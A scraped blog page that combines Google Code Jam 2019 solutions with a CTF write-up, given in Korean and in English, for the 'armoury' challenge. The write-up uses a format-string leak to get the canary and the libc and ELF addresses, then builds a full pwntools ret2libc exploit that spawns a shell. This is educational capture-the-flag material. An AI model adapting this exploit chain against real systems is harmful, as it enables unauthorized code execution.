반응형

## Foregone Solution

### Problem

Someone just won the Code Jam lottery, and we owe them N jamcoins! However, when we tried to print out an oversized check, we encountered a problem. The value of N, which is an integer, includes at least one digit that is a 4... and the 4 key on the keyboard of our oversized check printer is broken.

Fortunately, we have a workaround: we will send our winner two checks for positive integer amounts A and B, such that neither A nor B contains any digit that is a 4, and A + B = N. Please help us find any pair of values A and B that satisfy these conditions.

### Input

The first line of the input gives the number of test cases, T. T test cases follow; each consists of one line with an integer N.

### Output

For each test case, output one line containing Case #x: A B, where xis the test case number (starting from 1), and A and B are positive integers as described above.

It is guaranteed that at least one solution exists. If there are multiple solutions, you may output any one of them. (See "What if a test case has multiple correct solutions?" in the Competing section of the FAQ. This information about multiple solutions will not be explicitly stated in the remainder of the 2019 contest.)

### Limits

1 ≤ T ≤ 100.
Time limit: 10 seconds per test set.
Memory limit: 1GB.
At least one of the digits of N is a 4.

Test set 1 (Visible)

1 < N < 105.

Test set 2 (Visible)

1 < N < 109.

Solving the first two test sets for this problem should get you a long way toward advancing. The third test set is worth only 1 extra point, for extra fun and bragging rights!

Test set 3 (Hidden)

1 < N < 10100.

### Sample

In Sample Case #1, notice that A and B can be the same. The only other possible answers are 1 3 and 3 1.

## My Solution:

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include #include int main (){          int loop = 0;     scanf ("%d", &loop);          for(int i=0; i < loop; i++){         int input = 0;         int count = 1;         scanf ("%d", &input);           int output1 = input;         int output2 = 0;           while (output1 >= 4){             if (output1 % 10 == 4){                 output2 += pow(10, (count-1));             }              output1 = output1 / 10;             count++;         }         printf ("Case #%d: %d %d\n", i+1, input - output2, output2);     }         return 0; } Colored by Color Scripter cs

## You Can Go Your Own Way

### Problem

You have just entered the world's easiest maze. You start in the northwest cell of an N by N grid of unit cells, and you must reach the southeast cell. You have only two types of moves available: a unit move to the east, and a unit move to the south. You can move into any cell, but you may not make a move that would cause you to leave the grid.

You are excited to be the first in the world to solve the maze, but then you see footprints. Your rival, Labyrinth Lydia, has already solved the maze before you, using the same rules described above!

As an original thinker, you do not want to reuse any of Lydia's moves. Specifically, if her path includes a unit move from some cell A to some adjacent cell B, your path cannot also include a move from A to B. (However, in that case, it is OK for your path to visit A or visit B, as long as you do not go from A to B.) Please find such a path.

In the following picture, Lydia's path is indicated in blue, and one possible valid path for you is indicated in orange:

### Input

The first line of the input gives the number of test cases, T. T test cases follow; each case consists of two lines. The first line contains one integer N, giving the dimensions of the maze, as described above. The second line contains a string P of 2N - 2 characters, each of which is either uppercase E (for east) or uppercase S (for south), representing Lydia's valid path through the maze.

### Output

For each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is a string of 2N - 2 characters each of which is either uppercase E (for east) or uppercase S (for south), representing your valid path through the maze that does not conflict with Lydia's path, as described above. It is guaranteed that at least one answer exists.

### Limits

1 ≤ T ≤ 100.
Time limit: 15 seconds per test set.
Memory limit: 1GB.
P contains exactly N - 1 E characters and exactly N - 1 S characters.

Test set 1 (Visible)

2 ≤ N ≤ 10.

Test set 2 (Visible)

2 ≤ N ≤ 1000.

Test set 3 (Hidden)

For at most 10 cases, 2 ≤ N ≤ 50000.
For all other cases, 2 ≤ N ≤ 10000.

### Sample

In Sample Case #1, the maze is so small that there is only one valid solution left for us.

Sample Case #2 corresponds to the picture above. Notice that it is acceptable for the paths to cross.

## My Solution:

 1 2 3 4 5 6 7 8 9 10 11 12 13 loop = int(input()) for i in range(loop):     size = int(input())     lydia = input()     my_str = ""          for char in lydia:         if char == "S":             my_str += "E"         else:             my_str += "S"                  print("Case #{}: {}".format(i+1,my_str)) cs
반응형

#### 'CTF > Writeup' 카테고리의 다른 글

[Pragyan 2019] armoury [KR]  (0) 2019.03.22 2019.03.21
반응형

armoury

0. 들어가기 전에 필요한 것

pwntools 다운받기

- 버퍼오버플로우와 RTL (Return-to-Libc)기법에 대한 이해

- 64비트 환경이 32비트 환경과 어떤 점(레지스터, 함수 호출)이 다른지에 대한 이해

P.S: gdb에서 ASLR 키는 법:

set disable-randomization off

이 글은 Naivenom님의 라잇업을 참고하여 쓴 글입니다.

1. 프로그램 실행

바이너리를 돌려보면 포맷 스트링 버그가 일어나는걸 볼 수 있다. (물론 IDA로 뜯어 보아도 좋다.. 하지만 귀찮기 때문에 생략함)

chanbin_lee123@linux:~\$ ./armoury

*******Rifle Database**************

Enter the name of Rifle to get info:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

----------------DATA-------------------

0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:

Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

---------------------------------------

Enter the name of Rifle to get info:

^C

보면 주소랑 스택이랑 줄줄 샌다.. 처음에 몇몇 주소들이 릭되고 9번째 인자부터 보면 스택의 내용이 그대로 릭되는걸 볼 수 있다. (빨간색 글씨가 스택의 내용물)

이 다음에 해야 할 것은 프로그램의 보안기법을 확인하는것.

chanbin_lee123@linux:~\$ gdb -q armoury

Reading symbols from armoury...(no debugging symbols found)...done.

gdb-peda\$ checksec

CANARY    : ENABLED

FORTIFY   : disabled

NX        : ENABLED

PIE       : ENABLED

RELRO     : FULL

Canary (Stack Smashing Protector, Cookie): 카나리는 널바이트로 끝나는 문자열인데, sfp와 ret 전에 위치하고 있다. (스택에 들어가있다는 뜻) 프로그램이 종료되기 전 이 값을 초기에 로드했던 값과 비교하는데, 이 값이 스택에서 변조되어 있으면 버퍼오버플로우 취약점으로 인해 값이 변조된걸 알아채고 프로그램을 그자리에서 끔살시켜버린다. 정말로 어마무시한 기법이 아닐 수가 없다. (하지만 위에서 말했던 대로 스택이 줄줄 새는 상태에서 카나리라고 안 샐 법이 없겠지?)

NX: Non-executable - 스택에 실행권한이 없다. 쉘코드를 스택에 올려서 돌리는 짓을 할 수 없다 이말이다.

ELF: Executables and Linkable Format 바이너리 파일. 실행파일임. ROP에 사용할 수 있는 가젯들을 포함하고 있다.

PIE: Position Independent Executable - PIE == ASLR이라는 소리를 들었는데 아니라더라.(젠장) PIE의 뜻은 님의 ELF파일을 실행했을때 임의의 주소에 얹혀서 돌아갈거란 소리임 (.data .code..등등).  "objdump -d <ELF executable>"로 확인하면 주소값이 주소가 아닌 오프셋으로 나와있는게 보인다. 랜덤한 베이스 주소에 오프셋을 더해서 프로그램을 돌림. 그래서 하고싶은 말은 ROP를 하려면 가젯을 사용하고 싶은데 어떤 주소를 써야할지 모르겠는 상황이 와버림. 근데 오프셋은 똑같으니 베이스 주소만 있으면 오프셋 더해서 아무거나 호출할 수 있음.

ASLR (non-PIE): 스택, 힙, 라이브러리(libc)의 주소를 임의로 정한다. non-PIE가 걸리면 적어도 메인 바이너리는 늘 같은 곳에 로드될거란 뜻

RELRO: 이게 FULL이면 GOT Overwrite가 불가능하다. GOT가 읽기권한으로 스폰되기 때문임.

2. 여기저기서 준비물 모으기

필요한거:
- 카나리 릭

- 가젯 (pop rdi; ret)

- libc 주소 세개:

- libc 베이스 주소

- libc베이스부터 system()까지의 오프셋

libc베이스부터 "/bin/sh"까지의 오프셋

2.1. 카나리 릭

gdb로 까서 main에 브포를 걸어서 (b *main) 대충 실행하고 (r) 프로그램에 대충 입력("BBBB")을 주고 브포가 걸리면 \$rsp에 뭐가 들었나 구경해보자.

스택에 있는 정보를 릭할 수 있는건 이미 알고 있으니까 이번에는 어떤 것을 릭해야하는지 알아보는 차례.

BBBB (0x42424242)가 보인당. 좀 더 보다보면 카나리가 보인당. (널바이트로 끝남) 카나리 뒤의 sfp도 보이고, ret주소도 보인다.

스택의 시작이 %9\$p였으므로 카나리는 %13\$p, sfp는 %14\$p로 구할 수 있다!

2.2. ELF 베이스 주소

SFP(저장된 RBP)를 보고 위의 정보와 비교해보면, %14\$p에서 마지막 세 바이트만 0으로 대체하면 베이스 주소를 얻을 수 있는게 보인다.

가젯을 쓰려면 오프셋이 필요하니까 이 주소도 필요하다.

2.3. LIBC 베이스 주소

이번엔 giveInfo에 브포를 건다. 프로그램을 실행할 때 %3\$p를 주면 gdb-peda가 주소를 하나 뱉는다.

위처럼 libc베이스 주소를 참조하여 필요한 물건들의 오프셋을 구한다. 배고프다.

gdb-peda\$ p 0x7ffff7b15970-0x00007ffff7a3a000

\$1 = 0xdb970

gdb-peda\$ p system

\$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>

gdb-peda\$ p 0x7ffff7a79480 -0x00007ffff7a3a000

\$3 = 0x3f480

구한 것들:

%3\$p: <__write_nocancel+7>의 주소

libc까지의 오프셋: 0xdb970

libc부터 system까지의 오프셋: 0x3f480

--> %3\$p - libc까지의 오프셋 + libc부터 system까지의 오프셋 = system주소 (in libc)

2.4. "/bin/sh"의 주소

gdb-peda\$  find "/bin/sh"

Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:

libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')

gdb-peda\$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000

\$4 = 0x161c19

2.5. ROP 가젯 (pop rdi; ret)

chanbin_lee123@instance-2:~\$ ROPgadget --binary armoury

Gadgets information

============================================================

0x0000000000000d03 : pop rdi ; ret

3. POC

BUFFER [24]

CANARY [8]

DUMMY [8]

POP RDI; RET [8]

ADDRESS OF "/BIN/SH" [8]

ADDRESS OF SYSTEM() [8]

(64비트환경의 Return-to-libc 기법)

4. Exploit 설명

풀 익스플로잇은 스크롤을 내리면 보일 것이다.

정보는 나누어 가지는 것이라고 배웠기 때문에 최선을 다해 설명하겠다..

 12345 payload = "" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("%3\$p.%13\$p.%14\$p\n") # libc address, canary, saved rbp Colored by Color Scripter cs

우리는 3번째, 13번째, 14번째 인자를 원하므로 주소들을 릭한다.

 123456 leak = r.recvuntil(":").replace(":", "").split(".")leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970offset_to_system = 0x3f480offset_to_binsh = 0x161c19 cs
릭된 주소들을 '.'에 따라 나눈다.

leak[0] = 3번째 인자, leak[1] = 카나리, leak[2] = sfp

오프셋도 저장함.

 123 libc_addr = leaked_libc - offset_to_libcsystem_addr = libc_addr + offset_to_systembinsh_addr = libc_addr + offset_to_binsh cs

오프셋으로 각각의 주소를 계산한다. (이게 이해가 안된다면 2.3 다시 읽어보기)

 123456 canary = int(leak[1], 16)leaked_elf = int(leak[2], 16)elf_addr = leaked_elf - (leaked_elf & 0xfff)offset_pop_rdi = 0xd03pop_rdi = elf_addr + offset_pop_rdi cs
카나리를 숫자로 변환하고, ELF베이스를 계산한다.

&0xfff 오퍼레이션을 하게 되면 그 주소의 마지막 3바이트를 얻게 되니 그걸 원 주소에서 빼면 된다.

 1234567 payload += "A"*24 # Fill up the bufferpayload += p64(canary) # Canarypayload += "B"*8 # Overwrite saved RBPpayload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(system_addr)payload += "\n" cs
위에 적어놓은 대로 (POC) 전형적인 RTL기법이다. system() 인자가 RDI로 넘겨지므로 RDI에 /bin/sh의 주소를 넣고 system()을 호출한다.

5. Full Exploit

 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051 from pwn import * r = process("./armoury") payload = "" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("%3\$p.%13\$p.%14\$p\n") # libc address, canary, saved rbp r.recvuntil("----------------DATA-------------------\n") leak = r.recvuntil(":").replace(":", "").split(".")leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970offset_to_system = 0x3f480offset_to_binsh = 0x161c19 libc_addr = leaked_libc - offset_to_libcsystem_addr = libc_addr + offset_to_systembinsh_addr = libc_addr + offset_to_binsh print "libc address: " + hex(libc_addr)print "system address: " + hex(system_addr)print "binsh address: " + hex(binsh_addr) canary = int(leak[1], 16)leaked_elf = int(leak[2], 16)elf_addr = leaked_elf - (leaked_elf & 0xfff) print "canary: " + hex(canary)print "elf address: " + hex(elf_addr) offset_pop_rdi = 0xd03pop_rdi = elf_addr + offset_pop_rdi payload += "A"*24 # Fill up the bufferpayload += p64(canary) # Canarypayload += "B"*8 # Overwrite saved RBPpayload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(system_addr)payload += "\n" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("AAAA\n") r.recvuntil("Would you like to give us some feedback:\n")r.send(payload) r.interactive()Colored by Color Scripter cs

반응형

#### 'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08 2019.03.21
반응형

armoury

0. Some pre-requisites:

- It's nice to have gdb-peda and pwntools.

- Knowledge on buffer overflow and ret2libc.

- Knowledge of 64-bit environments and its difference from 32-bit environments (optional)
- "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx

P.S: How to set ASLR on on gdb (turns off every instance):

set disable-randomization off

This writeup is based on Naivenom's writeup from the CTF which can be found here.

1. Examining the program

When we boot up the program, we can clearly see the program has a format string bug:

chanbin_lee123@linux:~\$ ./armoury

*******Rifle Database**************

Enter the name of Rifle to get info:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

----------------DATA-------------------

0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:

Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

---------------------------------------

Enter the name of Rifle to get info:

^C

As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s).

Let's check the security on the program.

chanbin_lee123@linux:~\$ gdb -q armoury

Reading symbols from armoury...(no debugging symbols found)...done.

gdb-peda\$ checksec

CANARY    : ENABLED

FORTIFY   : disabled

NX        : ENABLED

PIE       : ENABLED

RELRO     : FULL

Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail)  before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.

NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack.

ELF: Executables and Linkable Format

PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!

ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.)

RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.

2. Gathering materials

What we need:
- Leaked canary

- Gadget (pop rdi; ret)

- Three libc addresses:

- base of libc

- (offset to) system()

- (offset to) "/bin/sh"

2.1. Getting the Canary

So, we already know from the first format string bug, that we are able to access information on the stack.

I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input.

At the breakpoint, we can investigate the value of \$rsp to see what we have.

As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.

The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.

2.2. Getting the ELF base address

When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address.

This will be useful to us when we obtain our gadget as offsets from the base address.

2.3. Getting the LIBC base address

Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)

Run the program. (r)

There we can see the address we get from executing scanf("%3\$p"); (third argument of the output)

If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.

gdb-peda\$ p 0x7ffff7b15970-0x00007ffff7a3a000

\$1 = 0xdb970

gdb-peda\$ p system

\$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>

gdb-peda\$ p 0x7ffff7a79480 -0x00007ffff7a3a000

\$3 = 0x3f480

We see that:

%3\$p: Address of <__write_nocancel+7>

Offset to libc: 0xdb970

Offset from libc to system: 0x3f480

--> %3\$p - offset to libc + offset from libc to system = address of system (in libc)

2.4. Address of "/bin/sh"

gdb-peda\$  find "/bin/sh"

Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:

libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')

gdb-peda\$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000

\$4 = 0x161c19

2.5. ROP Gadgets (pop rdi; ret)

chanbin_lee123@instance-2:~\$ ROPgadget --binary armoury

Gadgets information

============================================================

0x0000000000000d03 : pop rdi ; ret

3. POC

BUFFER [24]

CANARY [8]

DUMMY [8]

POP RDI; RET [8]

ADDRESS OF "/BIN/SH" [8]

ADDRESS OF SYSTEM() [8]

(Basic ret2libc structure)

4. Exploit Rundown

Full exploit can be found in the next section.

I'll try my best to explain everything. T_T Please ask if you don't understand something.

 12345 payload = "" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("%3\$p.%13\$p.%14\$p\n") # libc address, canary, saved rbp Colored by Color Scripter cs

We want the 3rd, 13th and 14th arguments so we leak those.

 123456 leak = r.recvuntil(":").replace(":", "").split(".")leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970offset_to_system = 0x3f480offset_to_binsh = 0x161c19 cs

Once we receive the leaks, we split the string regarding '.'

leak[0] = 3rd argument, leak[1] = canary, leak[2] = sfp

I also save the offsets I have.

 123 libc_addr = leaked_libc - offset_to_libcsystem_addr = libc_addr + offset_to_systembinsh_addr = libc_addr + offset_to_binsh cs
Calculate all the addresses I need using the offsets. If any of these calculations don't make sense, refer back to section 2.3 - I've explained a little bit there.

 123456 canary = int(leak[1], 16)leaked_elf = int(leak[2], 16)elf_addr = leaked_elf - (leaked_elf & 0xfff)offset_pop_rdi = 0xd03pop_rdi = elf_addr + offset_pop_rdi cs

I also cast the canary to int here, and calculate the ELF base address.

If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.

 1234567 payload += "A"*24 # Fill up the bufferpayload += p64(canary) # Canarypayload += "B"*8 # Overwrite saved RBPpayload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(system_addr)payload += "\n" cs

As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().

5. Full Exploit

 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051 from pwn import * r = process("./armoury") payload = "" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("%3\$p.%13\$p.%14\$p\n") # libc address, canary, saved rbp r.recvuntil("----------------DATA-------------------\n") leak = r.recvuntil(":").replace(":", "").split(".")leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970offset_to_system = 0x3f480offset_to_binsh = 0x161c19 libc_addr = leaked_libc - offset_to_libcsystem_addr = libc_addr + offset_to_systembinsh_addr = libc_addr + offset_to_binsh print "libc address: " + hex(libc_addr)print "system address: " + hex(system_addr)print "binsh address: " + hex(binsh_addr) canary = int(leak[1], 16)leaked_elf = int(leak[2], 16)elf_addr = leaked_elf - (leaked_elf & 0xfff) print "canary: " + hex(canary)print "elf address: " + hex(elf_addr) offset_pop_rdi = 0xd03pop_rdi = elf_addr + offset_pop_rdi payload += "A"*24 # Fill up the bufferpayload += p64(canary) # Canarypayload += "B"*8 # Overwrite saved RBPpayload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(system_addr)payload += "\n" r.recvuntil("Enter the name of Rifle to get info:\n")r.send("AAAA\n") r.recvuntil("Would you like to give us some feedback:\n")r.send(payload) r.interactive()Colored by Color Scripter cs

반응형

#### 'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08 2019.03.22